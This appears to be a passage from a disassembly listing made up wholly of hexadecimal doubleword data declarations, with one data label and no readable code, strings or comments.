		dd 5BBEF20h, 11E3D4Bh, 4C784F2h, 88565E08h, 0C360E211h
		dd 94B753C2h, 44F95A08h, 28C587Eh, 0D44F7068h, 0A7DFA6F6h
		dd 92707F6h, 2E5000E6h,	0B76CBF32h, 8820472h, 27BFCB45h
		dd 288A0C0Dh, 7D671620h, 3850AB0Bh, 0E3F84B08h,	89C880DFh
		dd 5A595830h, 7242F69Dh, 7709C553h, 2EE87D20h, 9B7A4E9h
		dd 2751EC0Bh, 0BFFAB159h, 0F96CCE3h, 5189485Eh,	27067964h
		dd 7D763A4h, 5E595FA0h,	0F4851h, 0AF4B3558h, 0EFFAF069h
		dd 0E995E8BFh, 9DA97F7h, 0D1192E18h, 0D6E3DA14h, 72F60278h
		dd 8D645A92h, 0D503F680h, 0E980F209h, 0FFDFC2C5h, 9399A93Ch
		dd 5768450Bh, 3F4EA014h, 5359D901h, 4A601BBBh, 4167B5D0h
		dd 0E9097E2Ch, 1FAF8BEh, 792DD0F7h, 71BFCFB7h, 0E58120C3h
		dd 795D99AAh, 0E9E8419Eh, 2C42EE4h, 0B34384ABh,	0BF02C8C9h
		dd 0AC2011CCh, 24269FA7h, 550991E0h, 0BFE9183Dh, 0BAB3341Dh
		dd 0DAE0B271h, 0A548DB9Dh, 0D527027Eh, 0E984BC17h, 0A4FB7F97h
		dd 0AB583382h, 0C9CE10ADh, 35C7EC5Eh, 0E0805950h, 2502D3EDh
		dd 0C8830960h, 1D0299ADh, 59A556F6h, 204D64C5h,	661616D6h
		dd 0C40AB151h, 0B993B424h, 0A1ED0BAFh, 29940555h, 0BC4EAEF8h
		dd 0CB30BD55h, 0C598B5AFh, 438292EBh, 0D074F9EAh, 0EEDF97BBh
		dd 41D62A1Eh, 0F1B1B387h, 57C57D1Eh, 395EB13Fh,	0B7C3840h
		dd 4C293D0Ch, 570C826Fh, 0CA653ED9h, 0E45C974Ch, 0D0BC4E4Ah
		dd 0B76EA67Ch, 0D7EE224Bh, 0A88943C2h, 70C19D02h, 7D79980Fh
		dd 6F7FA0D8h, 0C3DB6024h, 2A262F00h, 0B8FB293Fh, 0CECB6806h
		dd 9AFD2D0Bh, 30FC620Ah, 0E226D698h, 0F552955Bh, 77590881h
		dd 0F1FD4A8Dh, 0EB1356D2h, 0B825BA8Ah, 71DD7862h, 1B8269B5h
		dd 0FCD1D839h, 0E2B2AB6Fh, 0E93356E8h, 0DFAEBC72h, 9202AB5Eh
		dd 0DC51CDFEh, 161ABE22h, 304118B7h, 436AA2AEh,	6A2B9E80h
		dd 0E948BB0Dh, 0F5EC195Dh, 0EFD63A5Ch, 9C15135Bh, 87555F6Eh
		dd 84937D7Ch, 0D8142F10h, 1CFB6D10h, 65966851h,	42C3B8A8h
		dd 0E9984A03h, 26C08022h, 0A060E8BDh, 9E55B84Dh, 4FBF00A5h
		dd 8140CE37h, 3E7C702h,	0D53121CAh, 4C1D4A21h, 7FE44056h
		dd 7760A952h, 0D0BCE3D4h, 0C8090095h, 0C7983559h, 590843Dh
		dd 1F7B2309h, 0B4C77624h, 5B2AF611h, 2CABF085h,	6969FD51h
		dd 56005FACh, 0C7A8435h, 0AF01523Ch, 1E147758h,	32B90230h
		dd 639EAD1h, 0EC840FD0h, 564814EDh, 707E0177h, 0F9E92233h
		dd 0F62C3365h, 41D8B1h,	0C7CDD1E9h, 2F40923Eh, 0D4AC1312h
		dd 0FDE1FA41h, 3F7EA87Ch, 5F7F4EF3h, 0CCB4B201h, 5EE6D787h
		dd 0D421FB15h, 303F922Dh, 1C77215Ch, 44294E98h,	7C16EF38h
		dd 3D683A42h, 5632570Ch, 0B9E8E98Fh, 6B8B501Dh,	0ECEE930Bh
		dd 2A25BDEAh, 5F9DFEB1h, 5A4DCC02h, 80F7475Fh, 0E9AEC380h
		dd 24DED494h, 7E61F10Fh, 651DEE53h, 3E2D6EF0h, 39FA0533h
		dd 305D001h, 0C1E95707h, 0F289D913h, 9C3DEDA2h,	0D14C2940h
		dd 884510CEh, 5EADFE7Dh, 9285E9FEh, 0DF3047E8h,	28585C37h
		dd 35EEC84Eh, 9DEC0BD6h, 0E5278BF4h, 4C89BF2Dh,	8BFCFEB5h
		dd 0C46B2946h, 0B9EF8A6h, 58AED458h, 7082C8CEh,	0EF6DEA46h
		dd 0F3DAB02Bh, 528C6713h, 0E8BE2B80h, 9714E23Ah, 43158883h
		dd 47D8E727h, 8B5D2D7Dh, 2114556Dh, 6CBA499Dh, 5F29042Eh
		dd 0C10EFB31h, 4FBD97CFh, 0D16E44D2h, 7C0D83E3h, 7AFAB924h
		dd 78E40581h, 0C07FB9B2h, 5B5F53FCh, 97F22AEDh,	4BE6EAD3h
		dd 47EDE917h, 0A6685C88h, 0A44E5D08h, 0A92F3CA1h, 4E5CA2F3h
		dd 0D2824BA8h, 88F41C06h, 0E2765772h, 89F9DD5Ah, 0BE17193h
		dd 0A0A30B6Ah, 0EA688FE0h, 0F5180755h, 30036A96h, 9A04A62Dh
		dd 5C48570h, 572F071Fh,	0BADA60Ah, 2CF1DF14h, 5C6497BCh
		dd 0A87D65AEh, 8AFE93C8h, 84E9C3C2h, 0AB2E4E9Dh, 0E8164BCBh
		dd 0F2F340ABh, 94D47305h, 24959AF6h, 82F0CFh, 15D01CDh
		dd 516321CAh, 6CCB87C5h, 0A551299h, 7E2EE1AFh, 425000A6h
		dd 7708B790h, 0BFC701AAh, 2A09CFF6h, 74DB8C0h, 0F929003Eh
		dd 4597BA52h, 52BD101Ch, 231A09D1h, 0F5805AABh,	0C879020h
		dd 0DCB5BEB8h, 0F89E9255h, 2DFA5F0Ch, 0B7816BBDh, 3C3B14B0h
		dd 68105DEEh, 0C14016D5h, 0AB4FD371h, 700A3FF0h, 965F957Dh
		dd 967C9D16h, 80FC7BC9h, 5828B850h, 75956E71h, 80020C85h
		dd 0AC2D0322h, 231D4F08h, 0DDE90F89h, 0DE37EED6h, 892E594h
		dd 62868F4Ah, 0F08AEDABh, 0B4565EB3h, 0C792D96Bh, 0BF3AB4BFh
		dd 9E5047F6h, 32779A32h, 0C741AAE7h, 0F630D8F7h, 41B65ACBh
		dd 0CD0E5417h, 5E5FDA34h, 92ADE2D2h, 957C1977h,	0AC4A9168h
		dd 85874C21h, 0ECA4155Bh, 531740CFh, 331CBB0Ch,	4B9A163Fh
		dd 2A8AB3F8h, 0C016ECDBh, 95AC07EDh, 0D06C5E75h, 73E9F4A2h
		dd 6CA8D241h, 66AB127h,	5451535Eh, 3DEB5840h, 45005536h
		dd 2E323352h, 4CC36C64h, 99564441h, 0D4C4950h, 71547E4Eh
		dd 3C0AAA4Ch, 0CEA40101h, 70E91DC1h, 40383409h,	37C0A15Ah
		dd 81FDDFBEh, 0B40A42BBh, 0AA12A219h, 89A43710h, 11FE09A0h
		dd 44DB0896h, 22848CA5h, 8244A63Dh, 0E70E004Eh,	79A8E4CAh
		dd 3928765Ch, 0CC00AF0Ah, 58967C99h, 0C102Dh, 739EDCD6h
		dd 82F7056h, 9BC648C0h,	5E987Eh, 60410E2Bh, 22BAECB2h
		dd 99F21300h, 94684BBh,	39EFCB1h, 2D5B86C4h, 78F0C663h
		dd 0E50AA957h, 0DC16C91Ah, 0FB1CD607h, 0F8403227h, 6529D7h
		dd 69132014h, 0FE7456F3h, 0ECC6CF00h, 87517FB2h, 0CB3001EAh
		dd 0B445F620h, 9B49F45Ch, 2E41A00h, 235F24C0h, 0B02A0936h
		dd 0D0801F60h, 0B1CF13A6h, 7DD93B00h, 18E21043h, 0C39F6B6h
		dd 98DE8CFCh, 0B0002625h, 0FA56204Eh, 0F28FBEh,	0CCB233Ah
		dd 70ABFCF7h, 478C3D00h, 93BAFB39h, 2CCF0131h, 0E86E777Eh
		dd 0E285ECC5h, 9BCE0800h, 13C7C9F8h, 462C0026h,	0A2882FCCh
		dd 9A903568h, 933CB601h, 0BD9B574Fh, 821664h, 18FE1B42h
		dd 0AA90ADDCh, 213E6D0Eh, 0B0CD003Bh, 618CCAh, 18A24044h
		dd 0AC92AFDAh, 27006B79h, 0BAD70241h, 2679AD4h,	0EE9C7D4Ah
		dd 0CC80BBA8h, 0C2FFDD36h, 27558800h, 0A548B810h, 0A4EEE84h
		dd 1482BD8Ah, 80CE90CDh, 47BA7411h, 1C2F007Fh, 0B1DC1B8Bh
		dd 5700B983h, 709BDAB4h, 0EE2E6D53h, 2D7E0F98h,	0ADA0C715h
		dd 0B842202Ah, 561E1A72h, 0F7406428h, 845DB0C6h, 271F0D69h
		dd 0CCF7426Bh, 8300A0C7h, 1532619Dh, 0C3F22Fh, 5285C0A6h
		dd 0E6114F35h, 1DC5C900h, 0F2C5795h, 0C1E80029h, 547FBEA4h
		dd 17015137h, 19FAC7E4h, 0B3102B6Bh, 7B037C5Ah,	9C3960A1h
		dd 1B49B8B6h, 0EA1D0057h, 680D2CBCh, 0D3049D43h, 609340CFh
		dd 968E51FEh, 200A3814h, 0E5410B00h, 21DB78ABh,	616224E3h
		dd 0D7F42700h, 33D6469Eh, 82E30E12h, 63809178h,	103E69A7h
		dd 4709E4FCh, 0F5998Dh,	40EEA575h, 80D5407Eh, 5A80A00h
		dd 1EC1EC2Bh, 9A063B44h, 3421AA30h, 0BF005CBEh,	0CEF33218h
		dd 12016392h, 0B0A017D3h, 7E0058EBh, 1AE41241h,	197B4F7Dh
		dd 0A5EAAC5Ah, 0FBE1FCF4h
		dd 608EC109h, 0DE928049h, 0C01A1B30h, 0C8E55B8Eh, 7503A8E2h
		dd 8C71F58h, 31D2C97Bh,	39ED4FF8h, 55001B4Ah, 919583B9h
		dd 190EC7F4h, 8FC648EBh, 3C16802Fh, 0B5D2FDh, 2E6B90CFh
		dd 0A507D1FFh, 79B37707h, 0DA601546h, 9786F6Dh,	642C480h
		dd 0B844001Fh, 9B386370h, 715B576h, 8C1559h, 93C12399h
		dd 76295CFh, 0F085A434h, 201956E0h, 0C1303378h,	57CD0C1Bh
		dd 0F1A012F5h, 12161DD6h, 0B87D80F0h, 0AD00E889h, 0F2204F8Ch
		dd 9727728h, 4D7B180Bh,	83B22424h, 791FA308h, 60DFB52Bh
		dd 0F3E7B00h, 1DE13972h, 0C020CE71h, 0C41C31F9h, 7999AEEAh
		dd 5B980800h, 983AFE2Ch, 0D7A10088h, 0BDF61375h, 5201F565h
		dd 0DB381BA4h, 0D8406319h, 1023570h, 0B56D0AD4h, 9D3A241Dh
		dd 0F6805E7Ch, 0A1C604C8h, 9370062h, 96AFDD3Fh,	0F21C929Bh
		dd 6E471474h, 0D602A4Bh, 31A2096Ch, 0F2F88DFEh,	24136CD1h
		dd 0BD7033B8h, 38B27C0Dh, 1D00AE9Bh, 3FE24C34h,	0F360CD91h
		dd 0F95BD128h, 47A82456h, 17878087h, 1D4CAED9h,	0C94C62ECh
		dd 55D03EEh, 18F295h, 0C3E4111Ch, 2E2D73A2h, 5FAF2000h
		dd 83793D6Dh, 85CA28FAh, 37B816A4h, 0EC04006Fh,	2E7B9FBDh
		dd 9B95320Bh, 515D0147h, 0F8E0F7BAh, 72A00016h,	0F093035Bh
		dd 674C3342h, 12EC0EE1h, 0F5B9C3D3h, 0F95A0055h, 29F32183h
		dd 3A00AA8Ch, 6994D2FFh, 0F713Bh, 0B5DC1DE1h, 8EB9F753h
		dd 0AF892C00h, 3F254275h, 0A1D23A05h, 933D0701h, 7D5A160Eh
		dd 4B8B0FF1h, 0E521A024h, 0B399B6h, 442A4776h, 0D3B9D609h
		dd 4D6A950Fh, 0E321C249h, 746141B8h, 44A30E4h, 0DDC3E00Bh
		dd 86C3C0A3h, 0B724F7A5h, 370E7CBEh, 176F00DEh,	12A04A7h
		dd 0F320BDF0h, 317A0A45h, 2C6BD4E7h, 9032298h, 71148A6Ch
		dd 0C0BBEC50h, 9CCCFA7Bh, 43DA04C6h, 6EE40052h,	81ACEBD1h
		dd 3F1F7E64h, 0E84FE614h, 0EC4E27BBh, 8CFD494Fh, 8853E7EFh
		dd 0B100D818h, 4372AE94h, 34026h, 96D1B7D4h, 22604663h
		dd 0D6DAF705h, 57C0A60Ch, 99F93A20h, 48650025h,	0D8F52862h
		dd 7C2A0B1Fh, 6BC4E7F0h, 0D8EF918Dh, 0D4A03370h, 0D82CEA91h
		dd 0C9C04E39h, 0DD98BBh, 0F9504872h, 49ABB4EDh,	73022103h
		dd 7C6DB35Dh, 48987454h, 0E91285A2h, 24DDB8EFh,	390685AFh
		dd 0C7DCB8Bh, 692D5DD3h, 502750Fh, 0A56F9DC4h, 866D6043h
		dd 0D6B00553h, 0C03D6B9Ah, 0AF071E83h, 7B9C3F12h, 4F0FCC31h
		dd 980C45BAh, 2A0FA4EAh, 0B552B400h, 4E8D6788h,	0CC860923h
		dd 0A80907D7h, 6E9CC801h, 400B7184h, 4E9975Ah, 4A00B3BAh
		dd 550FA5D4h, 0B0AB3549h, 0C8511F59h, 0BEBD07E4h, 52EF7084h
		dd 20F9C119h, 815C7FE3h, 89FF00A0h, 7CEC445Bh, 0C3EED9h
		dd 9012E394h, 304E5221h, 45669307h, 0BD617624h,	0E0C7BEDEh
		dd 83E510h, 22BFE627h, 25B66968h, 44B458h, 20EA1843h, 78FCF7Dh
		dd 0FBB3784h, 0BA944199h, 10772480h, 5EACDD00h,	0EDC171B8h
		dd 223925F5h, 0E705F1D0h, 7D6380A7h, 0FD08187h,	2C86A3D2h
		dd 802865A0h, 0A5A9C6F1h, 3700753Dh, 0C809EF0Ch, 9E84A1h
		dd 3117345Fh, 0DAA7C4F7h, 0B4BF918h, 249313A8h,	7A45C3Ah
		dd 40456CADh, 83B6F14Dh, 298B5502h, 4887D886h, 29107A9h
		dd 0AAD514EEh, 6541A78Dh, 0E9BF200Fh, 0C406C24Ch, 9380B659h
		dd 2038F4ECh, 850002C0h, 1B011E45h, 93B0DFh, 244170ADh
		dd 0B3D0033Eh, 648FCD01h, 139F4347h, 3F663240h,	0A8BCB122h
		dd 78452874h, 0BCA530F7h, 0F2D029C4h, 0D5010699h, 600CCB3Dh
		dd 4A77AC81h, 74134F29h, 5362D84Fh, 6070E6CCh, 1B45B9D7h
		dd 4A93D797h, 5CFF61A0h, 74232D03h, 0A810758Ah,	618CD280h
		dd 9C1222B2h, 0C82170FFh, 5B3560Ch, 1081B4Fh, 3DE2CED9h
		dd 0C03ABC66h, 0ECF26BCDh, 84487600h, 0E2ED1B46h, 7F0801B3h
		dd 9C6A29BBh, 2B93E832h, 87E97417h, 0C9028F5Eh,	59E7F62Ch
		dd 1757860Ah, 97496ADEh, 0C05D0034h, 54719CDAh,	52C4061Bh
		dd 27B501AFh, 95C33901h, 366497D1h, 90305AE5h, 137090B4h
		dd 122F91h, 84FF35CAh, 4FE0C25Ch, 0B4DF5902h, 0E0AC6CE8h
		dd 0BCEF41h, 90028C8Eh,	30F42255h, 9A00C8F4h, 68363FB6h
		dd 1FBF99D0h, 0CF1B5C81h, 0FDC0FCC6h, 0BDF7ADC8h, 0DE78A00h
		dd 416CAACFh, 762E39DFh, 3EA5D79Dh, 0BDA34A80h,	5E225083h
		dd 0C7F52000h, 6896C903h, 386700A4h, 3243920Ah,	5CB8E46Ch
		dd 207AB42Ch, 38DB0680h, 3AF3225Eh, 0A68FFBC5h,	0AAA06C9Bh
		dd 170549F7h, 0C88983A1h, 0EF073E62h, 94C7025Eh, 88BBD3F3h
		dd 6BAA84h, 0AB481240h,	67A5FF76h, 4BB1ED00h, 1CB87098h
		dd 558403C0h, 0DEFB5D27h, 0C16F90E8h, 5C60FD30h, 615B8B01h
		dd 2DA30F1Bh, 9EEB9290h, 0F1BF658h, 3661009Fh, 3FDC3E08h
		dd 840CC387h, 23246A18h, 53BECA6h, 0DD0B6DE3h, 83288319h
		dd 9141B0D0h, 33899505h, 0C9819CD7h, 15E0EC4Bh,	53220499h
		dd 0C8E81351h, 4ECC9548h, 3004D2BEh, 0EB48E41Eh, 5300BD6Dh
		dd 1B5AD19Bh, 1C4F89h, 0ACDF19FFh, 743AE809h, 8451F228h
		dd 0B50D3802h, 43EAA23Fh, 95F0C1D5h, 0B6B8D8h, 4BE84A79h
		dd 0CEFC2765h, 0CBA5C000h, 0FA2D678Ch, 0A06A1F98h, 0B6A70403h
		dd 0EC5BC395h, 0E2235600h, 6BC38DBBh, 0A89700A6h, 70778826h
		dd 8B26710Eh, 0E1810D51h, 116980AEh, 47D0FD25h,	684203E5h
		dd 5CFFD2Ch, 808D3BA8h,	0A1A93C00h, 0C2FB188Eh,	57FA006Ah
		dd 0E311407Dh, 4F7F7C19h, 5E96BC00h, 0A0DDB7A4h, 79430071h
		dd 0E184FADCh, 1BB08BB2h, 0C548D701h, 72AC7028h, 0F53630h
		dd 8DC0FAD4h, 2165955Fh, 0AB53D301h, 648F6ADh, 12880F80h
		dd 0F32D13B0h, 31107100h, 0DB093874h, 0C600011h, 0C0EE5021h
		dd 75F88128h, 7B433Eh, 0EC1A4986h, 17508522h, 47457F25h
		dd 0E32F4CFEh, 0EAB1DC0Fh, 0B83F60AFh, 70440A05h, 6980B379h
		dd 99B7F37h, 320C5124h,	4127E781h, 97367407h, 1296A25h
		dd 0BE7AA888h, 0FEC01E65h, 0C2330BA1h, 0D9055B82h, 0ADE002Fh
		dd 0AE72A0CBh, 18466D00h, 0BDEB1654h, 90BB00F9h, 30639E62h
		dd 10E3E02h, 42E0A4D2h,	0FC864775h, 0B8500001h,	78902EEFh
		dd 2D973500h, 0F32522F4h, 4B630F5Bh, 9481D8F7h,	2AB59FFCh
		dd 63BB1E16h, 59A68C2h,	4E10147Fh, 0BB99D83Ch, 0EBA0740Bh
		dd 68BA6005h, 282E5B90h, 0BDFA5F4Bh, 8F292154h,	7B08472Dh
		dd 6D8B1F75h, 807417FDh, 0FFFDD65Ah, 0B8182D49h, 388A922h
		dd 0E0F4C5h, 27D7D19Ah,	616F2AEDh, 5F001F7Bh, 0D54B7D6Dh
		dd 0FA77E73Ch, 0F07E1F23h, 9467009Eh, 0F6F85131h, 63700D00h
		dd 84127642h, 27880006h, 49AEEDA8h, 0FF7E4879h,	64151100h
		dd 45834F77h, 9CF0046h,	0D4B78FEh, 14005655h, 0EC1FF32Eh
		dd 2A8D19h, 6AFF1E63h, 3F7D1A98h, 0BC9C800h, 0BA28B955h
		dd 4D890553h, 5CE8117Ch, 695600BCh, 5A8F1E98h, 0CCB86600h
		dd 0AEC28193h, 0BB20DE71h, 3651E886h, 0FE033BBh, 0ABF0B728h
		dd 53B41300h, 0BE66565Fh, 583B27E8h, 4701AF54h,	880F4C3Eh
		dd 0C181B46h, 0BF85282h, 0AB7AD42Eh, 0B4CBEF07h, 0B9A11CB7h
		dd 20E27Bh, 5260001Ah, 5ED3EB80h, 45DE0CE9h, 664AE080h
		dd 25A575h, 0F837E363h,	0EB8161D3h, 0E63F860Ch,	185F3C55h
		dd 1AC9E180h, 0B78B82C3h, 9E957230h, 5FFBF83Dh,	0F6880D8h
		dd 0ADD9485h, 8D5FF5DCh, 7B0CC4C1h, 41308204h, 30CA786Ah
		dd 1B08052Ah
		dd 6940AD81h, 37678C4h,	2A3C0301h, 213ACD06h, 4D61262Eh
		dd 4A441130h, 4990144Eh, 2B061C14h, 1130ADC7h, 0B5598C03h
		dd 32391D3h, 0AB18581h,	11012EF5h, 1BF9BF9Bh, 510789A0h
		dd 0C95204EBh, 99F00984h, 0D5F609A0h, 210020F5h, 0F90A6B9Ch
		dd 87853028h, 9EC0A10Fh, 447CC1ADh, 90C1918Bh, 0E9681080h
		dd 15582CD7h, 3F104600h, 2B041B16h, 457A3B80h, 60888451h
		dd 383EFE50h, 2630F895h, 0E36C10E2h, 0AF773F68h, 0C4645F03h
		dd 0DDC10C09h, 0CA6EF0F2h, 3E621B3Eh, 5A14D0C5h, 73F6F7Ch
		dd 0A8F46851h, 4111D217h, 742C008Ch, 67951E44h,	0CDC84CA5h
		dd 21250866h, 12FC4D58h, 8A12D7C3h, 5F9BCE03h, 829FF977h
		dd 487D8C50h, 976837C9h, 0CDF6D0E8h, 0A255D88Fh, 25D32094h
		dd 4FD46B01h, 0C890D3CCh, 4A0A3883h, 0F9043EC5h, 0F77D45B8h
		dd 73679802h, 2C2D1040h, 14EC8F89h, 8820A75Fh, 89CF7A34h
		dd 2C1025D7h, 30386080h, 77630014h, 76C94248h, 0F70A17F3h
		dd 0E07AAE73h, 1E12B42Ch, 0E03B0840h, 6A46B87h,	9C10E8FDh
		dd 376108C5h, 87D86221h, 2E2FC770h, 0F81261Eh, 45FD3FFDh
		dd 0ED3129Ch, 0A1CA1BB8h, 0D9698C94h, 0F9005191h, 0D115F5E3h
		dd 4B68F0h, 395EB267h, 0B55D2CA0h, 55CD93Dh, 0B424A94Eh
		dd 0F074AC0Ch, 0D23C40BDh, 0D366A014h, 88C424B0h, 0C8696D04h
		dd 0DEC0E44Fh, 3F604DDBh, 50458519h, 2180D808h,	0C5DE5E06h
		dd 0EB3D842Ch, 1F8D8014h, 15AA48A5h, 18AD24F6h,	0EBD88000h
		dd 65FCA80Fh, 48F89700h, 0BE70662h, 0C1C674D1h,	0B9520C80h
		dd 1B988722h, 918177DAh, 0B881BAEAh, 0FACC609Ch, 0DCC3E0D4h
		dd 2F579B02h, 400C816Ch, 4052B070h, 1400E2F5h, 0C90A47C2h
		dd 123A8130h, 4A85DC86h, 407072F8h, 4DE0DE6Bh, 887A8846h
		dd 55EC630Bh, 0FB46D11Dh, 83FE7080h, 30522CCEh,	4E6002D0h
		dd 56057E19h, 31F216A6h, 0D5459E80h, 894F0053h,	0D384856Eh
		dd 0F8AB1F97h, 0FDB79010h, 4C9A2860h, 9088684Fh, 30CC881Dh
		dd 49502D00h, 4F8D7BC5h, 3A0813A5h, 0CBA7005Fh,	3E620F16h
		dd 0CA6CC601h, 14DF729Fh, 929603D8h, 0FEF8B014h, 0F27472E8h
		dd 0AD79EFh, 0CC13D212h, 4F2B0CAEh, 0D1D3A813h,	0DB4C2101h
		dd 0A030641Ch, 5E1488CBh, 1E7CB2F0h, 0D4137C77h, 2802F1C3h
		dd 60C1D2C2h, 80841784h, 0CE283EA6h, 4D7C8010h,	0DC924028h
		dd 45E1731Fh, 0ED05CD40h, 0A0549C27h, 9F6AFB3h,	72A5C25h
		dd 17AC2810h, 6001892h,	47627904h, 240863E3h, 0AFFB4F6h
		dd 0A0EC7A6Dh, 11C620B8h, 39C0AC76h, 0F06FB0Bh,	88F101F5h
		dd 0C75CDEAh, 4253717Ah, 0BC83662Ch, 0D184994Fh, 51860334h
		dd 0BBC50198h, 5CB80008h, 0EC3D5ED4h, 9FC52h, 4FE71F30h
		dd 4D81A704h, 90891492h, 67984E01h, 99BCAC08h, 0D8A70021h
		dd 5C2E9233h, 0EB00F858h, 0D1D2D4EFh, 5566155Bh, 0FC40C079h
		dd 17534A6h, 69C5C7EBh,	232A19A0h, 30DDE260h, 52E47279h
		dd 1335300h, 0C94D8486h, 809350C4h, 3440083h, 2AE2088Fh
		dd 6A301997h, 0A00741CEh, 745D00B1h, 1DD631D9h,	0E024F497h
		dd 87804825h, 2AAE9E4Ah, 205500CAh, 2C56A952h, 3E7111B0h
		dd 2CFA865Ch, 0A212A787h, 0B8006C52h, 16A430E1h, 201E6A72h
		dd 362603E8h, 107A2352h, 5020A0B0h, 9407AC6h, 1CD2AB85h
		dd 15710C81h, 23343195h, 30D9A258h, 3509964Ch, 89F79AB0h
		dd 4C88118h, 48FE164Fh,	5212C60h, 1B09ED8Bh, 25C0B9Bh
		dd 0F1B0D003h, 0C884519Ah, 0DBF4D816h, 0A4668708h, 0D35D70D5h
		dd 59874Ch, 91C4ADBh, 90240288h, 1912219Ch, 24A9C408h
		dd 0FD440F08h, 0B861A01Ah, 0FE7518D3h, 6F95231Fh, 4E002411h
		dd 0D4EB446Dh, 0C3185382h, 5C481E76h, 0D1856003h, 73CF1CA1h
		dd 33700A49h, 980902h, 0CF14C121h, 83C9C6E6h, 0B6402A02h
		dd 2C811FF4h, 8090CC08h, 0B9ACD944h, 0C7EE039Ch, 0D0E8E0AFh
		dd 935EA4h, 0F514DB03h,	0CC110025h, 0F915D002h,	43977BCh
		dd 0DC50AA7Bh, 0B8034E24h, 591EAD0Ch, 997D5057h, 31440052h
		dd 0C640DB8Eh, 0C8023A43h, 0DF3805D4h, 69D8460Ah, 895DE0DDh
		dd 0C7F09036h, 41D7816Fh, 0B0A4B8h, 31D3D179h, 3992A99h
		dd 52B1808Bh, 67114EACh, 71BD00C5h, 379522C9h, 9631D3A5h
		dd 92043130h, 807CDB11h, 50333D2Eh, 0D97ACDh, 2757E516h
		dd 61AAFE4Eh, 90431530h, 5E1EC0Bh, 3FAB3E7Fh, 0ED4C1DCh
		dd 4BE202CCh, 2A59BE84h, 0F2B4D36Ah, 5A5C0762h,	60EA51FAh
		dd 0B8CF35Bh, 73773914h, 15F23F4h, 0A76CF1Fh, 8B961821h
		dd 61CF1798h, 0A94DBD05h, 88008364h, 0C87DE76Bh, 30DF789Ch
		dd 1BE81C9Bh, 908884A5h, 0A7071683h, 0B0C0059h,	0FC8D2ACDh
		dd 6409E11Ch, 1AAA06C4h, 41076C82h, 7318D160h, 951D4408h
		dd 4026C45Fh, 0B9446B4Ch, 0BAFD00FAh, 0E1B21556h, 0A82E3524h
		dd 58BC18DAh, 0A2A1608h, 0DEADD823h, 6E732441h,	0F5AC0090h
		dd 1AE84B5Fh, 9D008A90h, 0D8BFB455h, 0F342FD7Fh, 28000063h
		dd 3FDB820Fh, 3B000979h, 0DA7214FFh, 0C097F650h, 0CDD16CA1h
		dd 96F51Ah, 35378785h, 0DB28E207h, 4FE27411h, 40206CF1h
		dd 4876480Ah, 0AC906989h, 852C5E75h, 0F50080A4h, 63CAFEEFh
		dd 46093F50h, 1724D902h, 7C504AA0h, 1253901Ah, 0E25C43D9h
		dd 0C3E200E8h, 0A45060C1h, 3582AD8h, 0D6458144h, 77F07076h
		dd 94063CA8h, 9821C4D1h, 0DEB333EEh, 18784D89h,	610988DAh
		dd 70098DFEh, 80CDD03Ch, 9E36A6D4h, 38C28232h, 3CC69498h
		dd 781D4B0Eh, 0C140A51Ch, 798898h, 3F284DE2h, 444F123Bh
		dd 3E50E160h, 80228236h, 0EF26A951h, 818980F3h,	0DFB0B01Ah
		dd 0A46A1187h, 803488F5h, 3687D761h, 7E00223Eh,	0AE031ACCh
		dd 1A145FE6h, 291CC4E2h, 35112C17h, 2ACB5580h, 270077E0h
		dd 66DD4584h, 2786FAEh,	0C52B651Ah, 0F7407570h,	0CF546A7Bh
		dd 1D00A8A0h, 5B9414A7h, 7B7D3338h, 0FD3B0039h,	5A0C7C22h
		dd 4982AADh, 0E7DB9705h, 46871682h, 1315943h, 8A900C18h
		dd 743CC947h, 0F50C1BA8h, 0CC6E5CDDh, 0F42A49C4h, 7206A405h
		dd 46A42111h, 1AC4603Ah, 6406CDB0h, 1DE63E9Eh, 80C40520h
		dd 3C17D132h, 3646E720h, 4E10B858h, 10A0583Ch, 747C8BE4h
		dd 50134941h, 3B953A79h, 281E6880h, 0A56C9150h,	18307681h
		dd 449D0C03h, 0D3306B3Fh, 0C398F63h, 0EC097CD4h, 3A91264Ah
		dd 9A508590h, 66F0C8ADh, 45C7BD00h, 0A6C163DEh,	0E0340357h
		dd 0A33091EDh, 789C6800h, 9F923EF8h, 0D017091Ah, 9800EF0Ah
		dd 0ECFB45D9h, 6B9AA400h, 0D34648A6h, 243900CFh, 12699C1Fh
		dd 0E83FEBC5h, 0A26044Dh, 2CF0117Ah, 9AB81835h,	0AE0248D1h
		dd 9526B4EAh, 60CD8EBh,	448619DBh, 89EF4CDh, 51FE8Bh, 0A80219E5h
		dd 251C008Eh, 4CB2096Fh, 3900FF57h, 0D21BD931h,	0F8D1F43h
		dd 0B65EE14h, 21499123h, 54F5F918h, 1D6E9C51h, 80A56AD9h
		dd 108E072Eh, 581FAD84h, 40A0E51h, 3680A490h, 0EF61852Ch
		dd 8F4000B2h, 27AE5CEEh, 0F5059629h, 0BC4806Ah,	0A995380h
		dd 0D32C5020h, 55C00038h, 405CD613h, 0B72E1832h, 0AF00B4E8h
		dd 23C79E50h, 0BBAC3F95h, 43C6BA1Ch, 0CCB44A39h, 0CAAAB0C0h
		dd 0B560AF1Dh, 0D4A93403h, 9D70C79Fh, 1DB240BBh, 36F5D8h
		dd 0A737AC0Dh, 0E000C4BAh, 0C86DC9B6h, 0A19FAAh, 0BFB8C136h
		dd 0CAC7A724h, 0B4B13D02h, 941E39C0h, 0B3D33C38h, 0A57BF73Ch
		dd 0AFD64318h
dword_4FE044	dd 0D1CEF9A1h, 46B080BAh, 4D23C6A5h, 0DF6D00A2h, 0D6CC9EB3h
		dd 9D010D4Fh, 0A0BAAD3Dh, 0AAE051C2h, 0A9AB0527h, 31DD9A6h
		dd 0C3DABE68h, 0A0BDC9C1h, 5FF19839h, 1460C04h,	98161007h
		dd 0BC393C60h, 0B4E78000h, 0DF6721F1h, 0A2988E00h, 9D172964h
		dd 30236037h, 79871D2Fh, 86C319C0h, 0A045671Ch,	0ABAE08h
		dd 9A12E20Dh, 4D92416Ah, 2C370E28h, 17F7B002h, 0B107B68Ch
		dd 88A31D0Ch, 616B8C0Ch, 0E30D5A30h, 58692512h,	814CA090h
		dd 0FCC0871Ah, 0C5BD4086h, 0ED66E8AEh, 15592940h, 781A69A3h
		dd 93C3BD0Ah, 0E1E81F58h, 0B09014DFh, 77DBC8EFh, 0EB90EEh
		dd 0DD3B6AE9h, 781D9246h, 0CC9C49FEh, 18FF1C16h, 2C9A28D6h
		dd 1A8ADB1Dh, 0CDF140Ah, 13600D02h, 88E44809h, 1537070h
		dd 54EC172Bh, 0D06C944Eh, 0CA050A1h, 2F0A06Dh, 0FFC6E48h
